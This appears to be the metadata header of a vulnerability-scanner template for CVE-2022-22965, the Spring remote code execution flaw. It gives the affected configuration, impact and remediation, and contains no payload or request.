Spring - Remote Code Execution

id: CVE-2022-22965

info:
  name: Spring - Remote Code Execution
  author: justmumu,arall,dhiyaneshDK,akincibor
  severity: critical
  description: |
    Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit.
